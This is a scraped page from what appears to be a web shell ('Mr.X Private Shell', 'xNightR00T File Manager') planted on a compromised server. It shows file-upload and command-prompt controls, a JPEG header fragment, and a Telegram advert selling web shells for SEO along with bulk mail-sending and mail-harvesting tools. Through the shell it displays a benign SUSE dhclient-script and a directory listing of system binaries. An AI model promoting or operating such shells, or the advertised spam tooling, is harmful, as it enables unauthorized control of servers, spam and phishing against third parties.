xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/bin/bash
#
# Copyright (C) 2010-2013 SUSE LINUX Products GmbH / Novell Inc.
# Copyright (C) 2013-2014 SUSE LINUX GmbH
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation; either version 2 of the License, or (at your option) any later
# version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, see <http://www.gnu.org/licenses/>.
#
# Author: Marius Tomaschewski <mt@suse.de>
#
# /sbin/dhclient-script for openSUSE / SUSE Linux Enterprise Server
# based on the scripts shipped with the ISC DHCP (4.1.1) client.
#
# Note:
#   It is used by sysconfig alias netcontrol alias ifup-dhcp,
#   but not by the NetworkManager that is using an own script.
#
#   Wicked is using an another dhcp client (runtime conflict).
#   As sysconfig-network is gone on sles12 and opensuse > 13.1,
#   this script is obsolete and unsupported.
#

##
## check mandatory parameters or ignore & exit
##
test "x$reason" = x -o "x$interface" = x && exit 1

#
# source sysconfig functions
#
SYSCONFIG_CFG_DIR="/etc/sysconfig/network"
if test -f "$SYSCONFIG_CFG_DIR/scripts/functions" ; then
	. "$SYSCONFIG_CFG_DIR/scripts/functions"
fi
SYSCONFIG_RUN_DIR=${SYSCONFIG_RUN_DIR:-/dev/.sysconfig/network}

#
# Debugging:
# logs entire run of dhclient-script to /var/log/${dhclient}-script.*.log, 
# when DHCLIENT_DEBUG/DHCLIENT6_DEBUG are "yes" in sysconfig/network/dhcp
#
eval `grep '^DHCLIENT6\?_DEBUG=' "$SYSCONFIG_CFG_DIR/dhcp" 2>/dev/null`
case $reason in
  *6) DEBUG=$DHCLIENT6_DEBUG ; dhclient=dhclient6 ; ipver=6 ;;
   *) DEBUG=$DHCLIENT_DEBUG  ; dhclient=dhclient  ; ipver=4 ;;
esac
if [ "$DEBUG" = yes ]; then
  set -a # allexport
  (
    echo '****************' 
    echo "$0 $*"
    date
    echo '----------------'
    env
    echo '----------------'
  ) >> /var/log/${dhclient}-script.$interface.log
  exec 2>> /var/log/${dhclient}-script.$interface.log
  set +a
  set -x
fi

network_service_conflicts()
{
	local _id=`/usr/bin/systemctl --no-pager -p Id show network.service 2>/dev/null`
	case "${_id#Id=}" in
	# wicked is using an another dhcp client - dhclient
	# is not supported with enabled wicked and disabled.
	wicked.service)
		logger -t "${0##*/}" -p daemon.error -- \
			"dhclient conflicts with enabled ${_id#Id=} and disabled"
		return 1
	;;

	# NetworkManager is using an another script
	# [disarmed except maintainer requests it]
	#NetworkManager.service)
	#	logger -t "${0##*/}" -p daemon.error -- \
	#		"dhclient-script conflicts with enabled ${_id#Id=} script and disabled"
	#	return 1
	#;;

	# sysconfig network [gone] were using it, other?
	network.service|*)
		return 0
	;;
	esac
}

network_service_conflicts || exit 1

is_ifup_controlled()
{
  test -f "$SYSCONFIG_RUN_DIR/if-${interface}"
}
# netconfig makes all "additional" modifications as DNS or NTP
netconfig_modify() {
  if test -x /sbin/netconfig -a -n "$interface" ; then
    {
      echo "INTERFACE='$interface'"
      for v in ${!new_*}; do
        case $ipver in
        6)
          case $v in
          (new_ip6_address)           k='IPADDR'              ;;
          (new_ip6_prefixlen)         k='PREFIXLEN'           ;;
          (new_dhcp6_client_id)       k='DHCP6CID'            ;;
          (new_dhcp6_server_id)       k='DHCP6SID'            ;;
          (new_dhcp6_domain_search)   k='DNSSEARCH'           ;;
          (new_dhcp6_name_servers)    k='DNSSERVERS'          ;;
          (new_dhcp6_sntp_servers)    k='NTPSERVERS'          ;;
          #(new_dhcp6_nis_domain)      k='NISDOMAIN'           ;;
          #(new_dhcp6_nis_servers)     k='NISSERVERS'          ;;
          (*)                         k="dhclient6_${v#new_}" ;;
          esac
        ;;
        4)
          case $v in
          (new_ip_address)            k='IPADDR'              ;;
          (new_subnet_mask)           k='NETMASK'             ;;
          (new_network_number)        k='NETWORK'             ;;
          (new_broadcast_address)     k='BROADCAST'           ;;
          (new_interface_mtu)         k='MTU'                 ;;
          (new_rfc3442_classless_static_routes_formatted)
                                      k='ROUTES'              ;;
        # (new_static_routes)         k='ROUTES'              ;;
          (new_routers)               k='GATEWAYS'            ;;
          (new_host_name)             k='HOSTNAME'            ;;
          (new_domain_search)         k='DNSSEARCH'           ;;
          (new_domain_name)           k='DNSDOMAIN'           ;;
          (new_domain_name_servers)   k='DNSSERVERS'          ;;
          (new_ntp_servers)           k='NTPSERVERS'          ;;
          (new_nis_domain)            k='NISDOMAIN'           ;;
          (new_nis_servers)           k='NISSERVERS'          ;;
          (new_root_path)             k='ROOTPATH'            ;;
          (new_dhcp_server_identifier)k='DHCPSID'             ;;
          (new_lpr_servers)           k='LPRSERVER'           ;;
          (new_log_servers)           k='LOGSERVER'           ;;
          (new_netbios_dd_server)     k='NETBIOSDDSERVER'     ;;
          (new_netbios_name_servers)  k='NETBIOSNAMESERVER'   ;;
          (new_netbios_node_type)     k='NETBIOSNODETYPE'     ;;
          (new_netbios_scope)         k='NETBIOSSCOPE'        ;;
          (*)                         k="dhclient_${v#new_}"  ;;
          esac
        esac
        [ "k${k}" != k ] && echo "${k}='${!v}'"
      done
    } | /sbin/netconfig modify -s "dhclient$ipver" -i "$interface"
  fi
}
netconfig_remove() {
  if test -x /sbin/netconfig -a -n "$interface" ; then
    /sbin/netconfig remove -s "dhclient$ipver" -i "$interface" </dev/null
  fi
}
prefixlen2netmask()
{
	test -n "$1" || return 1
	local o i n=0 adr=() len=$(($1))
	for o in 0 1 2 3; do
		adr[$o]=0
		for i in 128 64 32 16 8 4 2 1; do
			((n++ < len)) && \
			((adr[$o] = ${adr[$o]} + $i))
		done
	done
	echo ${adr[0]}.${adr[1]}.${adr[2]}.${adr[3]}
	return 0
}
parse_ipv4_classless_routes()
{
  local route_regex='^[0-9]{1,3}([ ][0-9]{1,3}){4,}$'
  local rfc_routes=() _routes=()

  # check whether it is a list of numbers
  [[ $* =~ $route_regex ]] && rfc_routes=($*)

  for (( i=0; i < ${#rfc_routes[@]}; )) ; do
    net_length=${rfc_routes[$i]}
    test $net_length -gt 32 && return 1

    ((i++))
    net_octets=$(($net_length / 8 + ($net_length % 8 ? 1 : 0)))
    test ${#rfc_routes[@]} -lt $(( $i + $net_octets + 4 )) && \
      return 1

    net_netmask=$(prefixlen2netmask $net_length)
    net_netmask=(${net_netmask//./ })
    net_address=(0 0 0 0)
    for(( j=0; j < $net_octets; j++, i++)); do
      net_address[$j]=$((${rfc_routes[$i]} & ${net_netmask[$j]}))
    done

    gateway=(0 0 0 0)
    for (( j=0; j < 4; j++, i++ )); do
      gateway[$j]=${rfc_routes[$i]}
    done

    old_IFS=$IFS
    IFS='.'
    _routes+=("${net_address[*]},${net_netmask[*]},${gateway[*]}")
    IFS=$old_IFS
  done

  echo "${_routes[*]}"
  return 0
}
del_ipv4_route()
{
  local dest=$1 ; shift
  local mask=$1 ; shift
  local gate=("$@")
  local hops args

  hops=()
  if [ ${#gate[@]} -gt 1 ] ; then
    for((g=0; g<${#gate[@]}; g++)) ; do
      hops+=(nexthop ${gate[$g]:+via ${gate[$g]}}
             dev $interface weight $((g+1)))
    done
  elif [ ${#gate[@]} -gt 0 ] ; then
    hops+=(${gate[$g]:+via ${gate[$g]}} dev $interface)
  fi
  [ ${#hops[@]} -eq 0 ] && hops=(dev $interface)
  args=("$dest${mask:+/$mask}" $metric_arg ${hops[*]})

  err=`LC_ALL=C /sbin/ip route del ${args[*]} 2>&1` && return 0
}

set_ipv4_route()
{
  local dest=$1 ; shift
  local mask=$1 ; shift
  local gate=("$@")
  local hops args

  hops=()
  if [ ${#gate[@]} -gt 1 ] ; then
    for((g=0; g<${#gate[@]}; g++)) ; do
      hops+=(nexthop ${gate[$g]:+via ${gate[$g]}}
             dev $interface weight $((g+1)))
    done
  elif [ ${#gate[@]} -gt 0 ] ; then
    hops+=(${gate[$g]:+via ${gate[$g]}} dev $interface)
  fi
  [ ${#hops[@]} -eq 0 ] && hops=(dev $interface)
  args=("$dest${mask:+/$mask}" $metric_arg ${hops[*]})

  err=`LC_ALL=C /sbin/ip route replace ${args[*]} 2>&1` && return 0
  case $err in
  RTNETLINK*answers:*File*exists) ;;
  RTNETLINK*answers:*No*such*process)
    #
    # The gateway seems to be not reachable via local network
    # route (implicitly created by ifconfig based on the IP
    # and netmask provided by dhcp).
    # Check this, set an explicit host route to the gateway
    # over the current interface and try again (bnc#266215).
    #
    retry=0
    for router in ${gate[@]} ; do
      matches=$(/sbin/ip -f inet -o route list match $router | \
                grep -v ^default | grep -c -v "^$" 2>/dev/null)
      if [ -n "$matches" -a $(($matches)) -eq 0 ] ; then
        LC_ALL=C /sbin/ip route add $router/32 dev $interface || retry=1
      fi
    done
    if [ $retry -eq 0 ] ; then
      LC_ALL=C /sbin/ip route replace ${args[*]} && return 0
    fi
  ;;
  esac
  return 1
}
get_ipv4_default_gw()
{
  if [ "x$new_rfc3442_classless_static_routes_formatted" != x ] ; then
    local r route=() gw=()
    for r in $new_rfc3442_classless_static_routes_formatted ; do
      route=(${r//,/ })
      case ${route[0]}/${route[1]} in
      0.0.0.0/0.0.0.0)
        [ "x${route[2]}" = "x0.0.0.0" ] || \
          gw+=(${route[2]})
      ;;
      esac
    done
    echo "${gw[*]}"
  elif [ "$new_routers" != x ] ; then
    echo "$new_routers"
  fi
}

del_ipv4_routes()
{
  if [ "x$old_rfc3442_classless_static_routes" != x ] ; then
    old_rfc3442_classless_static_routes_formatted=$(
      parse_ipv4_classless_routes $old_rfc3442_classless_static_routes
    )
  else
    unset old_rfc3442_classless_static_routes_formatted
  fi
  if [ "x$old_rfc3442_classless_static_routes_formatted" != x -a \
       "x$old_rfc3442_classless_static_routes_formatted" !=      \
       "x$new_rfc3442_classless_static_routes_formatted" ] ; then
       for r in $old_rfc3442_classless_static_routes_formatted ; do
         route=(${r//,/ })
	 del_ipv4_route ${route[*]}
       done
  elif [ "x$old_routers" != x -a "x$old_routers" != "x$new_routers" ] ; then
    del_ipv4_route default "" $new_routers
  fi
}

set_ipv4_routes()
{
  if [ "x$new_rfc3442_classless_static_routes_formatted" != x ] ; then
    local r route=()
    # TODO: multiple gw's to one dest as in $new_routers?
    for r in $new_rfc3442_classless_static_routes_formatted ; do
      route=(${r//,/ })
      case ${route[0]}/${route[1]} in
      0.0.0.0/0.0.0.0)
        [ "x$DHCLIENT_SET_DEFAULT_ROUTE" = xyes ] || continue ;;
      esac
      set_ipv4_route ${route[*]}
    done
  elif [ "$new_routers" != x ] ; then
    if [ "x$DHCLIENT_SET_DEFAULT_ROUTE" = xyes ] ; then
      set_ipv4_route default "" $new_routers
    fi
  fi
}
set_hostname()
{
  rx_host='^[[:alnum:]][[:alnum:]_-]{0,62}$'
  if [ "$DHCLIENT_SET_HOSTNAME" = yes ] ; then
    new_host_name="${new_host_name%%.*}"
    [[ ${new_host_name} =~ ${rx_host} ]] || unset new_host_name
    current_hostname=`hostname`
    current_hostname="${current_hostname%%.*}"
    [[ ${current_hostname} =~ ${rx_host} ]] || unset current_hostname

    if [ "x${current_hostname}" = "x" ] || \
       [ "x${current_hostname}" = "xlocalhost" ] || \
       [ "x${current_hostname}" != "x${new_host_name}" ]; then
      if [ "x${new_host_name}" != "x" ]; then
        hostname "${new_host_name}"
      else
        if [ -x /usr/bin/host ] ; then
          if out=`host -W 2 "$new_ip_address" 2>/dev/null` ; then
            _hostname="`echo "$out" | sed 's:^.* ::; s:\..*::; s:.*[)]::'`"
            [[ ${_hostname} =~ ${rx_host} ]] || unset _hostname
            if [ "x${_hostname}" != "x" -a \
                 "x${_hostname}" != "x${current_hostname}" ]; then
              hostname "${_hostname}"
            fi
          fi
        fi
      fi
    fi
  fi
  if is_ifup_controlled ; then
    # check regardless the DHCLIENT_SET_HOSTNAME setting
    # and whether we've set it above or not, because when
    # it changed, we've to handle it anyway...
    local OLD_HOSTNAME=`read_cached_config_data hostname $interface`
    local CUR_HOSTNAME=`hostname 2>/dev/null`
    CUR_HOSTNAME="${CUR_HOSTNAME%%.*}"
    if [[ ${CUR_HOSTNAME} =~ ${rx_host} ]] && \
       [ "x$OLD_HOSTNAME" != "x$CUR_HOSTNAME" ] ; then
      write_cached_config_data hostname "$CUR_HOSTNAME" $interface
      commit_cached_config_data                         $interface

      # reload syslog so it knows the new hostname
      if test -x /usr/bin/systemctl ; then
        /usr/bin/systemctl reload syslog.service
      else
        /etc/init.d/syslog reload
      fi
    fi
  fi
}
dhcp6_dad_check()
{
	local ifname="$1" word i
	local ipaddr="$2"
	local noaddr=1 nodad=0 tentative=0 dadfailed=0
	test -n "$ifname" -a -n "$ipaddr" || return 1

	while read -a word ; do
		test "${word[0]}" != "inet6" && continue
		noaddr=0
		for((i=2; i<${#word[@]}; ++i)) ; do
			case ${word[$i]} in
			nodad)          nodad=1     ;;
			tentative)      tentative=1 ;;
			dadfailed)      dadfailed=1 ;;
			flags)  ((i++))
				rx='^[[:xdigit:]]+$'
				[[ "${word[$i]}" =~ $rx ]] || continue
				hx="0x${word[$i]}"
				((hx & 0x02)) && nodad=1
				((hx & 0x08)) && dadfailed=1
				((hx & 0x40)) && tentative=1
			;;
			esac
		done
		((nodad))     && continue
		((dadfailed)) && return 3
		((tentative)) && return 2
	done < <(LC_ALL=C ip -6 addr show dev "${ifname}" to "${ipaddr}" 2>/dev/null)
	# on dad failure of dynamic (non-persistent) address,
	# the kernel deletes dad failed addresses
	# that is, the address is tentative (2) and vanishes
	# (4) and is not visible as dadfailed (3).
	((noaddr)) && return 4 || return 0
}
dhcp6_dad_wait()
{
	local ifname="$1"
	local ipaddr="$2"
	local -i wsecs=${3:-0}
	local -i uwait=25000
	local -i loops=$(((wsecs * 1000000) / uwait))
	local -i loop=0 ret=0

	dhcp6_dad_check "$ifname" "$ipaddr" ; ret=$?
	while ((ret == 2 && loop++ < loops)) ; do
		usleep $uwait
		dhcp6_dad_check "$ifname" "$ipaddr" ; ret=$?
	done
	return $ret
}

# Must be used on exit. Invokes the local dhcp client exit hooks, if any.
exit_with_hooks() {
  exit_status=$1
  if [ -f /etc/${dhclient}-exit-hooks ]; then
    . /etc/${dhclient}-exit-hooks
  fi
  # probably should do something with exit status of the local script
  exit $exit_status
}

# Invoke the local dhcp client enter hooks, if they exist.
if [ -f /etc/${dhclient}-enter-hooks ]; then
  exit_status=0
  . /etc/${dhclient}-enter-hooks
  # allow the local script to abort processing of this state
  # local script must set exit_status variable to nonzero.
  if [ $exit_status -ne 0 ]; then
    exit $exit_status
  fi
fi

case $dhclient in
dhclient)
  if is_ifup_controlled ; then
    # STARTMODE
    eval `grep --no-filename \
          '^[[:space:]]*STARTMODE=' \
          "$SYSCONFIG_CFG_DIR/ifcfg-${interface}" 2>/dev/null`
    tmp_startmode=`read_cached_config_data startmode $INTERFACE`
    [ -n "$tmp_startmode" ] && STARTMODE="$tmp_startmode"

    # DHCLIENT_SET_HOSTNAME and DHCLIENT_SET_DEFAULT_ROUTE
    if grep -qs '^primary=yes' "$SYSCONFIG_RUN_DIR/if-${interface}" 2>/dev/null ;
    then
      eval `grep --no-filename \
            '^[[:space:]]*DHCLIENT_SET_\(HOSTNAME\|DEFAULT_ROUTE\)=' \
            "$SYSCONFIG_CFG_DIR/dhcp" \
            "$SYSCONFIG_CFG_DIR/ifcfg-${interface}" 2>/dev/null`
    else
      eval `grep --no-filename \
            '^[[:space:]]*DHCLIENT_SET_\(HOSTNAME\|DEFAULT_ROUTE\)=' \
            "$SYSCONFIG_CFG_DIR/ifcfg-${interface}" 2>/dev/null`
    fi
  else
    STARTMODE=manual
    eval `grep --no-filename \
          '^[[:space:]]*DHCLIENT_SET_\(HOSTNAME\|DEFAULT_ROUTE\)=' \
          "$SYSCONFIG_CFG_DIR/dhcp" 2>/dev/null`
  fi
  if [ "x$new_rfc3442_classless_static_routes" != x ] ; then
    new_rfc3442_classless_static_routes_formatted=$(
      parse_ipv4_classless_routes $new_rfc3442_classless_static_routes
    )
  else
    unset new_rfc3442_classless_static_routes_formatted
  fi
  if [ x$new_broadcast_address != x ] ; then
    new_broadcast_arg="brd $new_broadcast_address"
  elif [ "x$new_subnet_mask" != "x255.255.255.255" ] ; then
    new_broadcast_arg="brd +"
  fi
  if [ x$new_interface_mtu != x -a \
       $(( $new_interface_mtu )) -le 576 ] ;
  then
    # 68 is the minimal legal value, but 576 the real life minimum
    unset new_interface_mtu
  fi
  if [ x$IF_METRIC != x ]; then
    metric_arg="metric $IF_METRIC"
  fi
;;
dhclient6)
  if is_ifup_controlled ; then
    # STARTMODE
    eval `grep --no-filename \
          '^[[:space:]]*STARTMODE=' \
          "$SYSCONFIG_CFG_DIR/ifcfg-${interface}" 2>/dev/null`
    tmp_startmode=`read_cached_config_data startmode $INTERFACE`
    [ -n "$tmp_startmode" ] && STARTMODE="$tmp_startmode"
  else
    STARTMODE=manual
  fi
;;
esac

case $reason in
######################################################################
## DHCPv4                                                            #
######################################################################

MEDIUM)
  ####################################################################
  exit_with_hooks 0
;;

PREINIT)
  ####################################################################
  if [ "x$alias_ip_address" != x ]; then
    /sbin/ip addr del $alias_ip_address/$alias_subnet_mask dev $interface
  fi
  if [ "x$STARTMODE" != "xnfsroot" ] ; then
    /sbin/ip -4 addr flush dev $interface
  fi
  /sbin/ip link set $interface up

  # We need to give the kernel some time to get the interface up.
  sleep 1

  exit_with_hooks 0
;;

ARPCHECK|ARPSEND)
  ####################################################################
  exit_with_hooks 0
;;

BOUND|RENEW|REBIND|REBOOT)
  ####################################################################

  if [ x$alias_ip_address != x -a x$alias_ip_address != x$old_ip_address -a \
       x$new_ip_address != x$old_ip_address ] ;
  then
    # Possible new alias. Remove old alias.
    /sbin/ip addr del $alias_ip_address/$alias_subnet_mask dev $interface
  fi
  if [ x$old_ip_address != x -a x$old_ip_address != x$new_ip_address ]; then
    # IP address changed. Flush to clear routes and ARP cache.
    if [ "x$STARTMODE" != "xnfsroot" ] ; then
      /sbin/ip -4 addr flush dev $interface
    fi
  fi

  del_ipv4_routes

  if [ x$new_interface_mtu != x ] ; then
    /sbin/ip link set $interface mtu $new_interface_mtu
  fi
  if [ x$new_ip_address != x ] && \
     [ x$new_ip_address != x$old_ip_address -o \
       x$reason = xBOUND -o x$reason = xREBOOT ]; then

    /sbin/ip addr add $new_ip_address/${new_subnet_mask:-32} \
                      ${new_broadcast_arg} \
                      dev $interface

  fi
  if [ x$new_ip_address != x$alias_ip_address -a x$alias_ip_address != x \
    -a x$new_ip_address != x$old_ip_address ];
  then
    /sbin/ip addr add $alias_ip_address/$alias_subnet_mask \
                      dev $interface
  fi

  set_ipv4_routes
  netconfig_modify

  if [ x$old_ip_address != x -a x$old_ip_address != x$new_ip_address ]; then
    if is_ifup_controlled ; then
      ifdown $interface -o dhcp

      write_cached_config_data  dhcp4_state "up"       $interface
      commit_cached_config_data                        $interface
    fi
  else
    if is_ifup_controlled ; then
      write_cached_config_data  dhcp4_state "new"      $interface
      commit_cached_config_data                        $interface
    fi
  fi

  set_hostname

  if is_ifup_controlled ; then
    # execute ifservice and if-up.d scripts
    ifup $interface -o dhcp

    write_cached_config_data  dhcp4_state "complete" $interface
    commit_cached_config_data                        $interface
  fi

  exit_with_hooks 0
;;

EXPIRE|FAIL|RELEASE|STOP)
  ####################################################################
  if [ x$old_ip_address != x ]; then
    if [ "x$STARTMODE" != "xnfsroot" ] ; then
      /sbin/ip -4 addr flush dev $interface
    fi
  fi
  if [ x$alias_ip_address != x ]; then
    /sbin/ip addr add $alias_ip_address/$alias_subnet_mask \
                  dev $interface
  fi

  if is_ifup_controlled ; then
    write_cached_config_data  dhcp4_state "down"     $interface
    commit_cached_config_data                        $interface
  fi
  netconfig_remove

  exit_with_hooks 0
;;

TIMEOUT)
  ####################################################################
  if [ x$alias_ip_address != x ]; then
    /sbin/ip addr del $alias_ip_address/$alias_subnet_mask \
                  dev $interface
  fi

  if [ x$new_ip_address != x -a x$old_ip_address != x$new_ip_address ];
  then
    /sbin/ip addr add $new_ip_address/${new_subnet_mask:-32} \
                      ${new_broadcast_arg} \
                      dev $interface

    set -- $(get_ipv4_default_gw)
    if [ -n "$1" ] && /sbin/arping -q -c 1 -w 5 -I $interface $1 ;
    then
      if [ x$new_ip_address != x$alias_ip_address ] && \
         [ x$alias_ip_address != x ]; then
        /sbin/ip addr add $alias_ip_address/$alias_subnet_arg
      fi

      set_ipv4_routes

      netconfig_modify

      set_hostname
      if is_ifup_controlled ; then
        # execute ifservice and if-up.d scripts
        ifup $interface -o dhcp

        write_cached_config_data  dhcp4_state "complete" $interface
        commit_cached_config_data                        $interface
      fi

      exit_with_hooks 0
    else
      if [ x$old_ip_address != x ]; then
        if [ "x$STARTMODE" != "xnfsroot" ] ; then
          /sbin/ip -4 addr flush dev $interface
        fi
      fi

      if is_ifup_controlled ; then
        write_cached_config_data  dhcp4_state "down"     $interface
        commit_cached_config_data                        $interface
      fi
      netconfig_remove

      exit_with_hooks 1
    fi
  fi
;;


######################################################################
## DHCPv6                                                            #
######################################################################

PREINIT6)
  ####################################################################
  if [ "x$STARTMODE" != "xnfsroot" ] ; then
    /sbin/ip -6 addr flush dev $interface scope global permanent
  fi
  /sbin/ip link set $interface up

  # We need to give the kernel some time to get the interface up.
  sleep 1

  exit_with_hooks 0
;;

BOUND6|RENEW6|REBIND6|REBOOT6)
  ####################################################################

  if [ x$old_ip6_address != x -a x$old_ip6_address != x$new_ip6_address ];
  then

    /sbin/ip addr del "$old_ip6_address/$old_ip6_prefixlen" dev $interface

    if is_ifup_controlled ; then
      write_cached_config_data  dhcp6_state "up"       $interface
      commit_cached_config_data                        $interface
    fi
  else
    if is_ifup_controlled ; then
      write_cached_config_data  dhcp6_state "new"      $interface
      commit_cached_config_data                        $interface
    fi
  fi

  if [ "x$new_ip6_address" != x -a "x$new_ip6_prefixlen" != x ] ; then
    /sbin/ip addr replace "$new_ip6_address/$new_ip6_prefixlen" \
                  scope global dev $interface \
                  ${new_max_life:+valid_lft $new_max_life} \
                  ${new_preferred_life:+preferred_lft $new_preferred_life} \
      || exit_with_hooks 2

    echo >&2 "Checking DAD results for $new_ip6_address"

    if ! dhcp6_dad_wait "$interface" "$new_ip6_address/$new_ip6_prefixlen" 5 ; then
      /sbin/ip addr del "$new_ip6_address/$new_ip6_prefixlen" dev $interface 2>/dev/null
      exit_with_hooks 3
    fi
  fi

  netconfig_modify
  if [ x$old_ip6_address != x -a x$old_ip6_address != x$new_ip6_address ];
  then
    if is_ifup_controlled ; then
      /sbin/ifdown $interface -o dhcp
    fi
  fi

  #set_hostname
  if is_ifup_controlled ; then
    # execute ifservice and if-up.d scripts
    /sbin/ifup $interface -o dhcp

    write_cached_config_data  dhcp6_state "complete" $interface
    commit_cached_config_data                        $interface
  fi

  exit_with_hooks 0
;;

DEPREF6)
  ####################################################################
  if [ x$cur_ip6_address = x -o x$cur_ip6_prefixlen = x ] ; then
    exit_with_hooks 2
  fi

  /sbin/ip addr change "$cur_ip6_address/$cur_ip6_prefixlen" \
                dev $interface scope global preferred_lft 0

  exit_with_hooks 0
;;

EXPIRE6|RELEASE6|STOP6)
  ####################################################################
  if [ x$old_ip6_address != x -a x$old_ip6_prefixlen != x ] ; then
    /sbin/ip addr del "$old_ip6_address/$old_ip6_prefixlen" \
                  dev $interface
  fi

  if is_ifup_controlled ; then
    write_cached_config_data  dhcp6_state "down"     $interface
    commit_cached_config_data                        $interface
  fi
  netconfig_remove

  exit_with_hooks 0
;;
esac

exit_with_hooks 0

Filemanager

Name Type Size Permission Actions
OCICLI File 441 B 0755
OneClickInstallCLI File 441 B 0755
OneClickInstallUI File 99 B 0755
OneClickInstallUrlHandler File 99 B 0755
SUSEfirewall2 File 84.6 KB 0755
SuSEfirewall2 File 84.6 KB 0755
adjtimex File 43.52 KB 0755
agetty File 58.19 KB 0755
analyzevmcore File 22.4 KB 0544
arp File 49.7 KB 0755
arping File 22.04 KB 0755
audispd File 38.18 KB 0750
auditctl File 42.23 KB 0750
auditd File 110.24 KB 0750
augenrules File 3.7 KB 0750
aureport File 98.16 KB 0755
ausearch File 106.17 KB 0755
autrace File 14.09 KB 0750
badblocks File 26.66 KB 0755
blkdeactivate File 14.49 KB 0555
blkid File 102.2 KB 0755
blockdev File 54.17 KB 0755
blogctl File 14.43 KB 0744
blogd File 55.48 KB 0744
blogger File 6.13 KB 0744
brcm_iscsiuio File 171.86 KB 0755
btrfs File 633.27 KB 0755
btrfs-convert File 352.66 KB 0755
btrfs-debug-tree File 316.2 KB 0755
btrfs-image File 340.34 KB 0755
btrfs-show-super File 316.41 KB 0755
btrfs-zero-log File 312.16 KB 0755
btrfsck File 633.27 KB 0755
btrfstune File 316.16 KB 0755
cfdisk File 90.53 KB 0755
chcpu File 38.09 KB 0755
checkproc File 39.65 KB 0755
chkbin File 12.84 KB 0544
chkconfig File 20.13 KB 0755
chkstat-polkit File 2.99 KB 0755
clockdiff File 18.24 KB 0755
crda File 18.52 KB 0755
cryptsetup File 91.71 KB 0755
ctrlaltdel File 34.1 KB 0755
debugfs File 187.7 KB 0755
debugfs.reiserfs File 71.15 KB 0755
debugreiserfs File 71.15 KB 0755
depmod File 236.71 KB 0755
dhclient File 1.78 MB 0755
dhclient-script File 24.49 KB 0754
dhclient6 File 1.78 MB 0755
dmevent_tool File 10.42 KB 0755
dmeventd File 38.17 KB 0555
dmraid File 20.87 KB 0755
dmsetup File 146.7 KB 0555
dmstats File 146.7 KB 0555
dosfsck File 54.58 KB 0755
dosfslabel File 50.57 KB 0755
dumpe2fs File 26.89 KB 0755
e2fsck File 289.48 KB 0755
e2image File 30.98 KB 0755
e2label File 99.89 KB 0755
e2undo File 18.55 KB 0755
ether-wake File 11.53 KB 0755
fbtest File 10.4 KB 0755
fdisk File 134.22 KB 0755
findfs File 10.09 KB 0755
fixfiles File 10.51 KB 0755
fsadm File 25.33 KB 0555
fsck File 46.14 KB 0755
fsck.btrfs File 1.16 KB 0755
fsck.cramfs File 34.13 KB 0755
fsck.ext2 File 289.48 KB 0755
fsck.ext3 File 289.48 KB 0755
fsck.ext4 File 289.48 KB 0755
fsck.fat File 54.58 KB 0755
fsck.minix File 106.2 KB 0755
fsck.msdos File 54.58 KB 0755
fsck.reiserfs File 164.47 KB 0755
fsck.vfat File 54.58 KB 0755
fsck.xfs File 433 B 0755
fsfreeze File 10.09 KB 0755
fstab-decode File 6.25 KB 0755
fstrim File 58.17 KB 0755
getappcore File 28.9 KB 0544
halt File 692.05 KB 0755
hdparm File 100.74 KB 0755
hwclock File 86.3 KB 0755
ifconfig File 62.05 KB 0755
ifdown File 5.82 KB 0755
ifenslave File 18.8 KB 0755
ifprobe File 5.82 KB 0755
ifstatus File 5.82 KB 0755
ifup File 5.82 KB 0755
ifuser File 10.34 KB 0755
in.rdisc File 22.13 KB 0755
init File 1.54 MB 0755
insmod File 236.71 KB 0755
insserv File 6.06 KB 0755
install-info File 39.63 KB 0755
installkernel File 2.59 KB 0755
ip File 498 KB 0755
ipmaddr File 18.45 KB 0755
iptunnel File 22.46 KB 0755
iscsi-gen-initiatorname File 2.1 KB 0755
iscsi-iname File 10.31 KB 0755
iscsi_discovery File 5.17 KB 0755
iscsi_fw_login File 212 B 0755
iscsi_offload File 9.22 KB 0755
iscsiadm File 776.52 KB 0755
iscsid File 796.85 KB 0755
iscsistart File 347.77 KB 0755
iscsiuio File 171.86 KB 0755
isserial File 6.21 KB 0744
kdump File 10.32 KB 0755
kexec File 255.5 KB 0755
key.dns_resolver File 18.45 KB 0755
killall5 File 22.66 KB 0755
killproc File 43.68 KB 0755
kpartx File 42.12 KB 0755
ldconfig File 872.55 KB 0755
load_policy File 10.3 KB 0755
logsave File 10.41 KB 0755
losetup File 98.76 KB 0755
lsmod File 236.71 KB 0755
lspci File 68.23 KB 0755
lvchange File 2.07 MB 0555
lvconvert File 2.07 MB 0555
lvcreate File 2.07 MB 0555
lvdisplay File 2.07 MB 0555
lvextend File 2.07 MB 0555
lvm File 2.07 MB 0555
lvmconf File 12.55 KB 0555
lvmconfig File 2.07 MB 0555
lvmdiskscan File 2.07 MB 0555
lvmdump File 10.07 KB 0555
lvmetad File 70.23 KB 0555
lvmpolld File 62.55 KB 0555
lvmsadc File 2.07 MB 0555
lvmsar File 2.07 MB 0555
lvreduce File 2.07 MB 0555
lvremove File 2.07 MB 0555
lvrename File 2.07 MB 0555
lvresize File 2.07 MB 0555
lvs File 2.07 MB 0555
lvscan File 2.07 MB 0555
mdadm File 554.64 KB 0755
mdmon File 305.23 KB 0755
mingetty File 22.8 KB 0755
mkdosfs File 27.06 KB 0755
mke2fs File 120.23 KB 0755
mkfs File 10.09 KB 0755
